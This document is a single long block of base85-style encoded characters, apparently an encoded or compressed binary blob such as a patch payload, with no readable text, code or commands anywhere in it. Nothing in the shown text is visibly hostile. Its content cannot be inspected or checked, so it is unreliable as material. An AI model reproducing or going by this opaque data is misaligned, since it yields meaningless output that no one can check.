zjPUPnqT%7k?pQ|IQAcR2TfobVCzo!J+PHTf5<3@2v)FiJLNja&^K0wgoWRoh?Sv&CJ%d~3;unKum6}RtnUaqe7 z+z(wc*?|7Si?9{z;`h})Ij*2Rk$!O+e7#kk9(P93mUjh`cq%8KDgKH9&6lgYd*ZMy z+U$7hwa$znK@lU5KkpvJwC0h*4E)i&=M8!bzx4uJ1om6L{1(5;u5s9iF}EdN1NO(O ztj32eGJP2_I?P#L(Fc0L;9r4xWy#l!PP0Fgf7&!Wz>4<*0qhSs1O(~P4mlh9F*!eP z*0Z7v$s)4R0X^z6D>30$6ORivyan}m|E}yNRlFGS?Q^-t3|N8(6*`rMZXymB|2)Kn zJ&3pnS?h{c50#xz^=(EBkv?$l!re@%MQX<9nr01emI*D2izS(fZY$7@31C+)R=g?YDmZT0 zY2lm}!ZO#69kmKjyQh|Yp}q}?80xpxjRf#5`A0S|8fDycs8V}BDe>=SlnH+ zDXjw%otf{yPA``YraFIEdKpMc+k3vAClp)RHhZAYc~Fl!XQVqii*3!5ib%f<2x(+Z z0jk{ThA`Kr!SR|Pg%M9e=cc$)0rQ<)EykzcRP zf6!_Z9+G|4ijQti(0JdFY&M9eF{-%_>qOXN=ERB~i}e-!>P>}o?E88CZKj6jXNDq5i9;79IEa&as6q3UV z%K^kI+ywY845rvW2GvekKv#&~-rkczgH~#z)i5%)dA$7P6nNVS)NT9lwc9NxZg(gE z-0KzjYbX@5tTD+G05SBZ&i4Suo2M3Y0}jLO`|^&gLrGWC2LjsG&p-|+_%NXwI-=98 zL?*ZI+#Mdf?m1w4VK?`>qmTKmN>Tsn zT)5$%!0TG0*y!62;ZHPlhnEE7*gKpDs@l?fK5*zl!XTUnZ*kSgmK%c=Jo98Pqc8TW z3nT_|u|@k;p2Zhkw+W;Z5*1e!?+7hm?{2EfF&Ybpk+fs;>0~8cJ{R8iNNbzB;xv;| z6i~|6u~pzHV*_t7PP2=8wcFLkBZ-Vx&PO=pR2*M?o~#tR_A1Hvjlro;36Y2Bu-Msg zXMo2t5cvrJ1D4C09g?hjG#vpym#j-XRnT0>^T0Y=l`VOQ)m(7Yuogx5v8*CSO8;P| zMnsK(NfX`}GI#iu-CLQsaIzl#l~*ngh+-?kH&Vear992Yd-;!cY)xm6Z68G}T^V|= zp^$PBJaEY_2jpdH-kI~ZOQ|Gw8ed6rbX&B1`Del45oW1LAYTXvg>)!_BL-fqXZo)( z^Efm-R&$y2YSEs=f?ox*r&feX()k9{n4AxMe>)eevFVR^e8_Yqw+jFgKE!wAT??Bu z-)m_a$)oq0Gw3*nwR#XCCn-8MDN9k0H7gBHEIfUD=!wk%jTj4F%*4hNaeae*a- z%`B^KqmG#~X(pP=R0(%V0ZO->Xi5t&QpJW%e^vS^gVg+3Uy~i$8980!5j%@}BQ&aw z>wbQ9vDc(++K)WgelheoaD1@+s!c}dB9bgyZLhcT zS4>mhoMYtkn-~pd!!{Re>rA>DqI|i&=R^oUE-RYyX+hYAHDqu;Kfc1o+nP9cC+ug_ ze8AJs!W$&}EsixjzwL7~JfOuyEA25Avta#K*pR~qsRzpEzP(>gqu=YCT7V?P>enRA zqKRZDkL6jbg%JG7YgK;?i}HrJoE7=CgrH)Vw&88BXB7l3^cq6w-LxVppkR>yuI)=! zL_@!T1+63&I5>kC)oH3fW?IeIdRYAwW*?+my>|QNECaY8;1QV{OUYr79?JC0)^WsY z#you7B;gw8juR=mYtbv}+Sdb-D;H)@VCD^ztv{bC&~goQi}58IWWM8(bo`-UW+wOs zd$t@E!QMZ+Evav8E?sNIAVYxI2?T)2A~}SEUZ7wJ*>G1iT> zcgE#37fUe`b4QHae1LAKmk6Fy6tryQTS)z^0@>Sv8h`%DB{JIQ{?!*JZ|E@m4x+jB z_U_~+&~_&A9BjW7|50X>wC`do^#vl2 zml_NzmYWaCZy3#x6>bG&PEhY{BY;dW1OqfrKxitO5hkV)dCNa_=$AoT6!$6gc$E&< z?6>mFIWbRkS@p*+>aDxW?b}GO;;7A9OhDGqh=4ba_N}ova`}#) z$GsTRl-Zo3TouWu$fH=BM&Aq*OSu6ZrL!d0F|=JB$fSlYO2OFre&~|Kdd1Xyp!xfO z3^UB<^Rqg#HH+zO~F{Qx4Rnnr&$7DC#ZmgL_9;>%q{E87g z1@l)v4TL{vOAKsSxK!OJau`6Bd^$UK+A<6~bqEaaq6zB8Y32`3S)eLoKOdtxMjo6* z7Z*t=DBQToI~E8~v+P_FH^1F?_xLAXlwY6(Xs|^(kzuZ`gMxXx8iy7`&z*1LA}nV6 z=F_Z+_&%}F%r8WWqX&Q=2)VP+9X*@<4NUKcD0?<)L%co ztOXh=C$=qX2Bhq~t z)sL*S^k#iFj&z%!eVWuRef1OT9w5eT8E(3#KK;zCukrhN#qp^p)GeZN92q-NOX6Ii zTqQZ-Yg*_i^Vkw9^EfUfglor%Tfst@St_wc(X#fM&Q)y|vtzKWA6STiCL_OCD&vW! z_t;U3wu&Dbrn3E`x*lD+g6{cy5)FsePE-oz-S`OVZPt$sX$HX&u~OqZbIRE%raSDE zylKPj{z0v0+rUqa$VwX`C~3R!mQ^HSmkCf_?k|G@Bqk3L9&`D!Y{?+JIae7ikoJ zhE(|@*rjg9)-Tim{a#@_vKZ8^X6t$##2`b(pKmm6{n_DNhhIc+fhX)0xla9X{!m){ zHlG*2lIh-wrih%{{z1InPDJVm)mtWFXM3BOEY#NL$yZO7CDhS#_CnL5y)O)8RuvUy zdpR>KmA(^xPj~&*&fq$E-^3Ot758(q$>U~UlgoQ(?)9wQRZhn_G;7}E*t#NCWs}Tm zza!{zsV8rad09!Kb649?T7@iZwKewGa6?=lw^`EId2-7q?_Ss>y<&CX?xW+JS|QT= zPTvL(7;guaa|ei|YxW*@H$DWP797jZ;{rD%kUlhz$QU=JpB%qCN9A_%spX^#kRVz# zjfq;S2kVw*1xss!AZ=|K(Y^gF+r3|ZMdfF%pX+NxRV#7N5~pYieD5fgO}f!i8HURS zBhEcfj?(iFS$e?{K!xXOYwqHZo(6s61b2j};);tZShQW%Sp& zF|TMl3u0e>5(>W3R1_ghGW3+dcRq{^|9p}NcrY8s#mDOzDp^_ogPjhN*!QdrjQ3W%8;dv6^v+9!|Cs>}6^@&5Sn7=@2t00@D?dBJ zBL}^Zr;tSd^qBq{b?J|F&yn?Q z*r$BunxZD5;yxXzA!POa10@)dm2D56bp1TU4W3GX~~uQ7~bxCSA#%3IqoczDMAzO1Q# zj~r>nm~`1yW5(F7d~VNC(%oZGMTzvd&*~#(xSEI-m?4d{7gRzYAP?GJ?l2+#Rg_xQ z)<0mhscgY80Vksn1FsC1piSezgRHr-M#}b{t=sfrR8HlNs*1*ooIJoN)3cc?5veoU zg_Vg2hDroEGZ`%u1|^&Irm`z$;YT;#xxw~9!4RMBcWn{uy8K1+SF>J&Y@;P>B9Jk? zsau3~QJIwBJIPC4dSmtnr-@TdE& zy726#)0-I|p8f}>eOE>;$z_Hab_q@~#hp!FVCQf_J$wG))~?AL4I*^vrRw>7Ip9D4!Akka$QbqOxM4o*B&*sTpyX*7~Py%3AM z@z8ybSn!LTygudb=ov#ISF!YlQvt&n`Ri!INniQDHyQZjThH?c18)Zzt>!LPB~K?{ zt+dc*lx-|ye1ga(AD8OaLa%e{Sssdn+(MR>cd-PoR$KhAKRa#NVm&$rJ6!nJKW#QoGpo6#=!gET<>C3e9w08-5%nC;=0Aki{dJb zmh?DV>j`V<`E1-zC+8P`iP5vq&O@yHt-r*?Gn*;hV@~&uco)pLaj52l8G3qe^0rn} z!oh!*-Yw98^P6_ct0et&H2e|vmk%i1ppVbw`jKqbf!8AAJudC=lCDOI&p|ujSXJXn}3so;SAxo2Ng7@2*yGJd+jcBJ90o_6+Z0mb@gVHmy9dUBBz`+o)@nRZLm zpc33-eZgOsX~k7R4^iNRw3qT^2PO~(My=P^Ol>^Rpn*#RIe z7}=WAiO(7pzgq=c_K0{^ndpPG)=XJf4g*r3O;-6OPx_ZuAc`cx?H%(2mE(`HG_r#h zuCUkcENtp|pDyr~Oj`kHOEj!%g{c=PP&)hId4v7b56q6eEr*}7Vh~0gI9hUBmqb~c)N8A~?pt9sZxX4O}^g)smw^WA~z;L<0a+fQhSN%MZ zM!NXT5Iq2-u??hb4g8R`@SE03zN2M@Gm8q3x|DeTN4D)}Ys(TJn~(kZrAUv1&bHBQ z=(eV&BQU3Yg^Yj5iuM0V?h;A(@oOwjd@;}G@zXR$Iqc*4uz1Ir11~`W&)hT>ZC#d@z9E0!iUUHPXA0!}?7Okh z=G_};*Pe6lVeH&}n@7r`U&0xU9Cqg5nXtJqC+E5`;9h22nj8z`q$HdvY@ReszeL~m z`7X^;M$X#zOai5(+(9Xd@(rVDdt-IbhrSJCm5uI+VOf$(-l}HmGlX=kR^npQ9Xk#L zMg5u3(jdgdgm_$QFho!gMBu`jW7-VgAd+SCl>xfYSza%kbQfZNjS&%)J3?$d_{g>) zh6^o7tRP0MoCgU0utE*6om;wiI!Vbmow01@9`_CQA>vy{x1Ff>~wF}7ZktC_j0E>q!3t1myH>JD+>I~zk zVvn7^JUQoaFsE$KUvkcA)WFRT{|)Aj@oJVds~|i4>GnR-I~N zs%#N#n62sFXY%uh-`3nBWJ?;{agxo|E>)*XW6it0TvLZ$7{{4)(vrn+>+H3a5Z`F= z8TA>H1I#tBylL>&G~mXLp`EN|*nFlZOjC(0TlriN2Ou;v)xbels3_lIq*fbr$}!AdiUkGww-4c&D*Ztqm2IGD#z`*A6_iw2Mma| zM}r%Qk_Yi}MN9K7V>`7M7ispdJt9x@On3!wF6>pSmt^XQfnpm8aK@S`T@W(WX~vz0 zW_l=01-0VoEim)MD;-?56>GYOGhy3pzHRLt?I`@;WED^N%>=(2 zI^VHE=&nftTH^lU0=$PZe;5FXDr%59jfymQa(~Q72^gi)1eSNRSr1TgGV5LR!WQNA(vj@Q?)|_ec`4yRC+K*)#=-VY-Do>AE9N z?H7jyw98fK-99(Le1q5M7xC~f%)E)UW9>p5rpfu=8isD5xb0?g`Au-1+^%f|g?4C8 z4u*^8W;-IWlg-^Nt*f6DZHyuYF4?NUa6;)3&9{kNvh%YP)erZE63vGj$s3fjT1Rr_ zI^0{Hiy6S%jSv$&$FD7;#<^Qtc`6hpxGt@C$eCfO;m%ogjyBIds{@Q;`|2-`nLu5% z!KW1S7Yh5=vxJHIzHcNuIR?69Lfb+$6tdO^GlykgAWtTz^|`vrH0@?>B-|qtgF#;L z?rXSYp9)7SW8nfvIb-(U@XSYvZe#ZXrfA^TXMVwZ7uWq;k>8{EJaFO6A~J}r00+B^ zmU)lwxrk@sZzjvVkp_Xw6dPVoP3g!QFMf`A zIXW~Eqj0rNvl9ZZ zA?NBsKLF-~yX9YH8)O8|Lh|M3)mf@Lp#wV>uKiTc42kQQcOL}z?~4?M0w6WFde~iD zfI~^xihwbH$pP^*0Y>lJuvCE1L><71XQwSI`I@7KMwx^*AGJ)@r=SNZ2OIlr1Q9l)$U5kNyt0o%>@oh{D2pc>)odWTz--VXr+o0S|c z9dr%yB^m^>cXh4G=$*%)?KuWG4=6g$JE(4_%}UNYJDBH!K6qY1!=j#L77WpuEEe!N zoNTS}KAeC5QM(bb;9pngyqq(}!w{6UuhaKcVy_)LmMtYWxNbkFaWmE;0ez6icOzZT zbz`5lejnI6=3?T?7NG4#rY2#vc@(S%XLBaRZHrM2o~Ptx_LQbDL`Z@-ylKgcZ3)=k z=euWmY`-vw8RG)t%lyvoJtW)=+0&>fvtJH-(N=R5=q%8D@J-{z8q{DW$nkt}!veJ0 z;KA-;Hbi$v{ysf_&Rdzma2q{Zl+C0r$@_s)`_RM;KIG%EsCM_5xdpx+ui#aJRlSRauEAN3wa^E%~@eDde@909Euy%kxv5S&3!25^1i={T) z?V>E+RDXla7P4xDd_puiE4wW85u?uIP;T%Tgp-}?41`DMT`Z=(CX_dJYrcJdrrzm> zw)6gZte-?sj$D@dP!2;-iTW;I*_0ygVkj^*@F-Gf23+eE;#&yVnE=-ebD;bQ%#M z6FOJ>>)T$HI#!*cdV-A9J*grGNw%Ro@|lC`vRLXa&ga5h;FxDH)rwbj3<3vnX$s;i zISwZ*7u1MljD#d}>69)1XT!#gG_@#=%SFTu!5NBu8fS&F)c_jjn^epJ;fi%riXw@p41FgnEvJK0z}+MMf!O%jaXFHJ@(;82Nf>$ucY!nCEGM>%ID>^(3d=` zn<&Z~_E=$q!SwwatlHOL`&QK<6I+W!FSA;~TXOomtcMLN;h#iQ1p5sVk2WXTQxkcY z#r?uQCx$RGwHq-^`EtSfqYNV9PE(l(d|_n}sdOWu0NV*XQSunupejh5pl{s)s-Jj6YNCRkAyYk7BH@ZiJk#Np7gep$d|&tw_dgH#2;4d zXa3GI*1diHe8I*kGNHi3$B_W;QfO*~I{zxB7Fy|B5u9?V!}#FJi11I(HX#)KM%xN| z-lR|2pVP$?1Rt7dmi?TCRN!W=CHq)Ifz zuhQCC*dkE7njZ#ot99yLJc{sm_adKnT9nTIEBj3!O##N) zV6C)L6A-e?KY}OnLo7a&lF&dM-U**|KK{~v`6ib=SpPMfQ6|!1^Eqi!UX0Zr0gRC^ zz<;A0Ny{DDZ9qAmDu%#>j*%9mMAWE*F(+T+br!3#wX3uD@KogH{B*VAy{l2lf)AIv zO`x7p)w%MG#C!W|@EHvH)sW2P^ zvz110*U5j+I1SnLPY*M=T#p=*5Qpv^+H1v)Ku@*9X~+m17dK~Y7>@$d{bo=!x(Ptb zRPCB=gMw@}FOA2O$Tms3tf+sv02%S<;mMsQ(t4U(j!OkEVasE+$xc0vWzPe#+Q9=9 zxOvvT%wfmYHR8{#2*{*=o%|`4@50j!1|{qA@dUS^X^$$m8ObTxpm3kdZCS_ty1i4u zvHDfkRZCkXuk-F6>s*sc0pp1$bakoLp@hgj)19X7#x>Jpo66>hQQOw;u#(`Brx=k$ z1tyr*06kkv-e_rv%@|maGUt+dZJ5HbM$j$cd}@DP0vv$zVndxjBFM1`C!QYaX|*wZ z7Z+jt8eIx5#@G&h2>~EQQW1>5iPF=a}gnpIpqh)SR zYv-!KHwkk64r{RgA206~olM2~E`x`zLe&XQcrIN(Ili|upsA&`8oM`>&KeX3%`>(K z8Lx0fkK43-bpPi#?J#x0qYW{EYPd+jB^hNKKIa}3RVDPbrI;-O1DInvmZR!=$;3?$ zbjfM}2y_oPhMc8;I;L4>{R2k1FY))SJxaCu*Ldz7Kk3-90~$b-1uqx5A4zjol5`wR^UFAJI8}W=!?^{g{S3^*J<$eO;u(8 z-W8z!$#a3$B+a2Lebft(#61(2ThJe@0AYc|>p8;=fJ>J{ce+R%wn7iU5F?|bqOmJ3 zm3Z(XMuEoXu$LWy(0DY)wCYe`U3*4PYwG$KSeI=C{-*0>6G}F8EQxB@tdd z)0yjq5g@sIioejmBpQkSGDSUIy6hO30$b$xkx{{dY4 zd7)<-B2e2ZW0AO1!jdS7M@IbIbNpuBTxNgMOe77|dAM2@qeaXo@^Opsr%eBM&oP&J z>-QbhJzp(pR{)0ed*ws{)^WOrG!F^6Bs6h2##v5OCBWli`>)!xNo(fC*yp zlGj7j>;^-T<$>2Tc6^sN`~!s5_iKj_2V0Of#;Y1StV%Uhkb_LTzM&F_09NeYAO{)c z*5ZB)ujOd@MqE82B!2E*gzT8=N-OQ=$&^#Ya@wYY% zUcJAmZ~8;~-{C(pp5@8_FzyimG@!uDxd%9MRZFLkF#RJj5#BW2G<^CM_A7vY>R#Cd z!;8Tr50=U+?!x4nIfIsL?!0M%QT5gt7*JNJ?$beG4?|)+WhXfw99~S9-g47p>)&+( z%hzKS;sapSqe?#)irDFUYLtR;AWZ(9ew`r*Ig{48G3*5E7YfrR67s_6K+fmfef|JN%1uoEJv{ z8{(Em4UrWleobLDO~!vD$H2rT_|_bq!LQ{!)jlPy)<-B>7x!;4c&hJpLlji@sxo5C z*a2@CjejK1Wc`{mJ!>SEYO3JQw25_JU{Exd~RG7IT{}F^9p!P?bGZ;=!z1#w$ zFR1V$1T(loFmcy<7x=eVG%lq3&GR6Y0>10dXBlqr2Db|d= zy_N-pCUTQ;9`FDa^I^baiGv?zr$ikG;fvyY@@&o5FD-#wE$TTrsxAVN6H?w%F0jKi zC#DA1sv_h6{f*S3tIxDqzoXBG3C{Zd1_x;##ht**)ZAz$OJF|;zSw?iYG9)sHJ$ud z%_gy26?aeUNX#<+#P(*(97m-F+V3IC^wW}%unb7Y)ZVyH8__~hew@n2AJ~4yK|1Lq zJ&zP3Cwcbh1{rbohM=1tBB-aj4QmlzITdM8sB+GKLrEEUzH1Q;@mKM%J?d0+o~>;V9K^j z+NNQ_wTiNxZFguISiv2DSt6T*Z4ouRe_xai!Il$mBJvL;dHrm~dz64xXq5ea5!{@F zhz@ReNFVWJoKsjPC3HB0Uoq?yl;6|sSlVjSKm_P36+a~Kc>fqBf@_NC6h-% zHof@JR3Ryk#|BA4ffc1oB7|#a4O!LV-qI!x@QJYAI=}>-++Ya8t?|;+0&71Lzseeh zfm^UTaT`!Ne0l;ZW`4b^kS(JnL~{+fl{W7i3D4Vd6FgZJRCq>48x9fx3oRH%0lNQe zW}$=dzyS*(t2j*xKv|Sh@Nru2^&E4h%Gkv94}cnv2#8D4!~@&gp9mCVo`)1hgM@_^ z%QXO4kqWPlDFs6|Y|k1P&3f)U4`nA1CGKFLsY?8Pd-wPyIfjR%cd|OS zU3j9tSMqP%wTk=+2iP845Xy6GnV^o<^$aiekgt;+*K8b4E8|a!243-dm5V{}+dP~w zg#8-aWFFlk?}c46hd{MGgDv>gHS< z8BQAE8xPhsE2#u(tr1GEAKC;EmTyWcK0O1o9c!%s2%G0V^C~&Prtd{Y^bVC z@K{@Cl$JZIeFCt|PLtMGOshdjdDR<|&4Gn>_J)cJ;aSfiThlLJ&mpZXs6M92(}@-| zZ+GgoaQS+6STnjwuaG8(Y)aa1P--z{TKi|Qvp>Vfr6l`Zv zdC`)+MwdkRJ#6srJkFtI{!JEc!gl^;IN>|}6hL0e*1Y38{}6rLxlb(6ldCOCH`{Af z$UYIDWV<70S5|AN7yQHZ!#(HvIE)yaJ>IxZ=Z2_46Cd}yn5CPn!$Y^FAcc1;By>C@ zW|AX~Ds5h+0SOJ0>C9)%`gm#0>MKcX*LIxA91XipsNd821@oGxqYIKje$&fNc2wD_(|euT?}R1MhaMDsqPMipKdH z78S}6<|6lwp9b99)<5Udc%M`utJ!wW{3Hv?i%Q?5TpIS&jQNgkk}5`IO|O#vLPozY zDq_Pm1Cw%ee@X{bEUrV2>3KiR4jK{=U>zB6?&VV{6+4*L4O3wzUWsizUgf35J*y|w zK7KTrJ}aK{0CjMxtGj^JV|K7BoJPDm91jXaIkXGDOkhrw4pC5YvoE(aX4bTtI~o+8 zRPGh@@c*NGeJkMI5K!mj@@5`y9@^LfDpxcQHV*^MmvVM5D^G=Xr;z7G{1TEg{IY^(hy+ae!dZ1=^b>8xfW z>)@ZYqZ9yyicb7CNtMLa=-pK00o?eguv<=GQ>Dd@gvDEWZ_-WU=jbc=rKn_)fL=L*2E;GonvHrXzwsD2St17{ zE)H&xDk+HuKl}vD|1hivrYgaS7R;}JZAV;ff@^4#*p!tGmB397acGHC!CduC|LeEO z56_=pP`Dhx!g9S$eGgH)QqH|IjU_1ko6mu;@)d7vvMjN3JoTR9Yhm-W$ZT2ql~q^2 zu?s6idYb(*LW;qL?dz+AjCPjm{BzR%KPp!1Nxr?CDH$-UmK9L$y`kl2nUSk}W#xjA zhfe}t*^8#2hdR481zTQLJ)L~b%YpZf*JRx7Cuc1h~@Q=5UT z%K&QT4NXPcncf=8DxDN;h|Mf&5(GQW%lLo1y;WRQ-McnS2uMqZq=IyJgM=bTNq2WQ zEK;PTLApzjT6Cu%pe(w(bI~9j?_Byk|8MX8+uy-^@{R)zSaZ!a=ZHJ5`?|(}-XO~0 zIUX;xa6FG_j_FuvND3P6I4t)M{0bl~@SAZ|My=RzfN}@+5DI1rhf0nGxN9{UfHpKMie5hn(6v9&)BC`1 z*-+VX)UE^D56d~|x~;~s24tP&_<12duP{9pH2T7zE>iuMe74Erl1m1Y=rOCwMG@Id zo*`@pKwZi~zz)3NOVMDgA4lWi2kU-kaAtCrwOZP0@w?6Lw3p`* z^hYRcv31y%SHonJZ^>a6GVVFJ%d|h-T?DUbuz-tS;p>zN-^2}ArnOaHH6 z_)kT8_CZOYNMybzMQqA=oD#Db9>^2rGf+)y2~q?T`xer^V6-z7>h1 z7H}#M4l1e1{POs??^H&Tu&9T66bJw&-AX4w%#upeT2+4lY<<8sj3xJmbM8*Qf%{Oj zzf!DnQ1yt)e4*-EThOxQtI9BtzEHVzikVYo8dZ*Oz13B0fQfd$Q~>qdKdqnf91!<5 z+L;X-HkcBhaaF_8)T$JpngEig>PQ4I84k)xe#EMI?eFZtIN73B`G&=U;|mUxaXZa8 zw|LVvUN;fKtyJ2Ww(%TW2N7{^l++~q8_ef$XCrG|Gylo2Ns%DNO@j}qxx(x`E*ZMh zrxwbE^=a&mK+^N^`hyolFHof3l=wMsG8MZ<3;;MM(!FF4C6`}lx4cJ0c8}WpE6kUY zQU~Cjpv9Tx253dXhJO9Vk0)inV&snU_#J-tecPIOYgr86XlIyo zdm+P!r0tt)Q+O>V;dOJ&@Lp3(mB57v!s{8@5Boc^#@J694u%k{%@~%!M3(!W$Gscv z|EBNED2b*?PU-h_po_jF;pW2lHPwkjpA4nnTR*CWDLV0Tb_Jpj}Y7&|!udxC2N;eq&in>vAdc9{}P%TOpY8+(H0; zFnCJ)t<;9M=^uC?6USJf9<~Q5(D;U&eJXA@5)|S3H!G-}7&gDYSOku7`oj_b+ZU)X z7x7Q~->9(mu`b&~C;623VNFd<+7U3ov;Tboj0>P!1L*!jjPN@EOf+zmEXl}_c!~#t zr~A{{_Dtrd5mNMghkKz7Y(?r1e30|60CuYJ{8{gw;CU$y@xt%DW%suG=&}0l6n11R zaGGfhph|nV0Y7R>{5ctjU>_hrQ=I~v7hQJQ>0Y)ScU0fL+A*@(+6SaJ zz8$SpHhZNgdw@59#VZe18yv@-q_4>5-~Tu+*hpI{XtlTZ`SQDa=uBw1L0ToF+kCUL zjkT4|kZtkyH>)V!-pZ8;#9plDp|NCa89HudC2D0o-_QEmSN4sUJBeh!v}coGA|1{y z)>sT{?LT-9X}x%1U`Eh%QUcYOJRu8V53hQ762OhG7rNGQfm`0o%k~LP^&1=}r+3*h z%}rm=XXxaF0}!$K4x6E@wsW-%#&)owY#y2EjtmP+DsWasgzL{2bkz$LWkiH4 zd9zhUAu8I|wMQDVPhnN~c^o)}SZAI&bzp*lI5R zw?vQ~V#F+($eCU0mlw>X=^K)kY|SS9K}33J&b&x={3Vx}x5CYP(t6#o1+Vc2ARwQt z^#-U_OP2Q@1MKXut6+mGr1ML@{DO#x2v6W-Dak3=<{Wtu!SGx!UTDWlS)jqCNkl{% zBM-gf#BH}x&6$&+hD%{JT*g`cG}0UFI-(RtD#H(cooVk^7JcOMQL}gA8QM@a<3t;t z=5fW5@g*{zJW)nYDhJQTu9ily;0S5sHwBw54jO;dX=7UAkyC-)Nv%B5K6Wb7n?%c8>xyaeHJH88bN2 zSFM2zxBPMjos={4l~Xn(GAYVweQ7MOr~9ZpJjcFZrvW;wyE2o^>@HpM!GJ<01MxcZ zD_a8zQUZuV#QZpiKnlW^8W}!FMPSqLz9uw6-xakVgkSI#yS;G@oniaAj@6OB!m6-2TwzKfbLkict%cz(cAr> zL_MtOUIYTNZYPQB>pY?@b>S-W9{bHrqD)sI&q)c>nqealWCokz zHi)67xHzM@+@Yc+h`73lHyNvOSv>o>vEQF{s;Ur+HZi7ki)OC6{lr&!n$-tk%Z3Zs zXYD6PC2nIdY_fzR{q_^Y1 z(&!yYK&rJmij{Xs^-=Mx`AWZXr>}Z30y$xf-A5b|j=BBXTy9iAP~2@k`{oiyPJD?$ zl6(opu0|v~<9aMOb!o-un|tNH$dMN|Y-^4cV7qE37K=*2w1!z87-Ii5MUN>0vaR&H zV*aTNn419zpeWc=dHdp36iYo4e;#W6!1=jQ&wRK<+=~7?yA<4(lU7^BU9=DnKM4*q z7ox{NLV#}C`T1Ica_ujnOro=lkItR%ghXuGe$>{X7z%>X%}nCol*7ec$a_dVVJC9<>e0Etz`GWis5Aq|7exv>0&;ou%N|kOa;$Eku_!RO}{S?E6|CsDc}L z05+?plH8(X@^OGeDJ=zlZE|v^_E+%PX+_zMF*41IB$?v7ogD-v#((HJ&-+-3<60V+^!LIggv)!gois0SM))Exg0_wA`)hp3InZ@bl9y(F&i09mGNNM zDP1AmpJutz=xum>DU_f4oe=rsEME_K z9M71`5X4~FT{4R|hz3lFv;kLN+;`PzZeZl2m7#M&l9VjF3&R>j zw|i7*lymc$gEKo)r}nESQ~R4gSP7cqV~4#6xH6|seGs(U1A@DLnr9KBm9j5<`KKQ( z4~#pRm5@;SN@E*R+Q4H%fLEZ)nH2e1-I76J0=TrdM(}ll0l?TckIZABx?X-=VH!sy zAvG_*hNJ}w#x#fct_L`ab0jBXzYhKw_wXr!CX?;8`zBX#`{3ZFJus$=d*5Kg{inf& znj$j|zm{W6sYTQ$U)+%^Nf9s?w`b~9b;1smzql^o09C%vU=NT-kSQlAwkZ)OR|@Qs zr4zTv(1hFK*`S$B;6+06!;SU$r4;HC+q+89F8iNb0|RcTa1rBGi=4lOoi_%qy?C%5 z#rRT)OqY8}XDE+J?a?FV<{c5a_aH!gpP7=GG@3w^OgeIkWI6l7)uED=d1vzg6Gc-} zn82dnQb9!^24;z2EiOQk^L}ERoh$pJbB=&VN(FQToBl1TB%S1}$i#VyBn6j9?6w6v z9}oH<7uk5q9EzL1%qZT(JKbd@2wOcQoG^mNRF(2KB>UfPa1A!;goHZTB2Su9Hj6ma zNQFk~!6!W4;s$BKLeQ;SPMyNhg!0$q(+k}k1B}jVt!8-;cY0Y&B&YbtYBX6DLxaJsHu4$BKeAQISKXLG_9kQjAvQ{g{BcXRJ)sgQw1kN1%9lyO~-15-F;cMh1fGCqDH{ivWM9i{( zl^)9J{GqdjIg-68tZxcoD;L)C&;vyNn??9LUcg^eV)lRgB)xCH_V* z$}x%TM^`9faXU$(XE|5SChc15#9)Q5NF&`3Ry5mO>vCD_gj!NqKHa{N7$Z0tLC zG#8zr)3INl&ciB9x7$S`UT#mV_sX+17b@i3J&n#dRs?Mob~l165gXp(((DrM(=UW} zvt?QdVeYwjQZWvuB3VA(W9`QdUib|}3spK;!&~%F=R1w{IDJKMTOoYg(S)t|`1ZMx>iC+qdKY^}cQmi^3{ z$o_s!fB$~1e8<}j`SN~=g3b`1Zm{VWV!y9DcJ1R8!Tv*c+stif%L&sXN6;;@Ly&fT zkTP`XV*@0c6w(NSb$iCdldpN=S9vB<;KO~s9slV*O01lZNF3kp?ruftv`LE}Kc= z%iUWEYa!zbHBckL!E8IiUW2)En@I4)r2BW$tX6~WZjIaF~+HwflvdQ_@zD9n&jfQmX zIOxB$Q3NmzBM>%Rs^n-(JlsoFaM-W(eYPcT>c1e5b~^GDaV5G2)H%(pCor4u>B zTS;BTYH@q`l;n6j`_>Nzu!wU=f)piIm0c_TI!Cq^qt2iI6Qf|&Eneo718(C<688j% zo6OssNJXcD!~Z@X&D<%MLcR>J7zg*<#+Ye+z-yxJYcV3o9d>a!TyOK zd&IkYbyxeDupXXH2%l=f@`+C4iO6%O!AW4q`(pB^^{Exolpa4eolqBVD(pY>raWUt zJnnAtyxyM)Gq|qfb{xjo+T+~7f-7D-{u20G2LuUNuRi?tqqG7Ua{(DWe??~9uG4dTnY zu^_$h)kmz*ijgWonSX?q@7!A!&8|bsImSMvJ~9=b!8sz=5Fj>uzK+gRY-v60hHxM{ z`y-@e|40CX``%~2O_fbfSNv=H)OvsukgL(Gh|Lu_rx9u_H0sRZ?lX5@6GYI#Um-)( z74o>u4##)-%ya7DI(N;?s}MnE1Y^g{jMv=6oG-1%@0hcE$UC9fE4;gbQ=6M_95;G+ z7raFR_yS$Z85Y(Gsv1LmZ{=+7IbZo7;1jmrbDL9$MZO%S4Dp^e5|deJw?li#2;b|hr$)$J4qmm zXCw>GP+!j*3`hGz_znBTKotFF@w&d4yzMo!NX!apnu4a0KD@y$k4J5uBSWeXpSg-_ zOKflOx0PK)F3+3a3O;kGc=kyDt{=219?~co)fdg@s_$@L3DR*)4e#FXj%lza$NiLw zTD2LrwmqBRL!WU{Bxv)$qnFtazZbFg2R*k36^EP?QOcYoJa>XQ03%F`r4Gy%kA<+F zru7tJ|0n2BGyIMUs(ba?#H|UP7Dwm`tIq~0Vqb^bv$+KZS4_V}Tc`z-k^_^t(0K6D zqmIlnXgSc|>zch5Q8E7l9?9U5izJ-i$|nYrk*^$lycWw>>Pf}->CK3_DEapB`QsJF zg$Pmx=#tgvK38Y;6C^3)?{aF^E$ekz+#N5Wx?tR(|EWs48biOz4}zpO3?>uEf}) z=R_&rGQKz2Oy#=_utsi}xt2RrOu3Wl2K^>ySU7L-Fuv^jG%^Y$xSJHgUKu$<=XWFQ z)Zu&KdzRUFc5%3sVc;}YdyJX_&#$2z$7I>*5V^WKKM0>#b!r9nccm0P>w6R1cn`h0 zao`4}z-t=+U06HLRj0#l7%6&2Whhz}OVyPPF1UK$>gz8WN#_gHl+>LDjuG6?(*Bkj zC`wOs8&u%A+G$=#L<)ezYbI#e$u?C{xYyxO!N1K8fEgY@DewwyMV`y+kDr2 z1)O&TG-Y-y;KF~}|DzB%k0}(E46iAWzw50j{)?i1tUYSh`1(%vHN5oBb%Yut_4fY9 zQt?Ez&Yi;8`qA4GupB2s=1HZ(~U>>QTT>Te-YSdQpe>1G6c?tjN5F1VW{=w(hy|xk?jvCQ(pjI^7z#pWZnJwOWmYjo7?OqsIbDwQXHxE 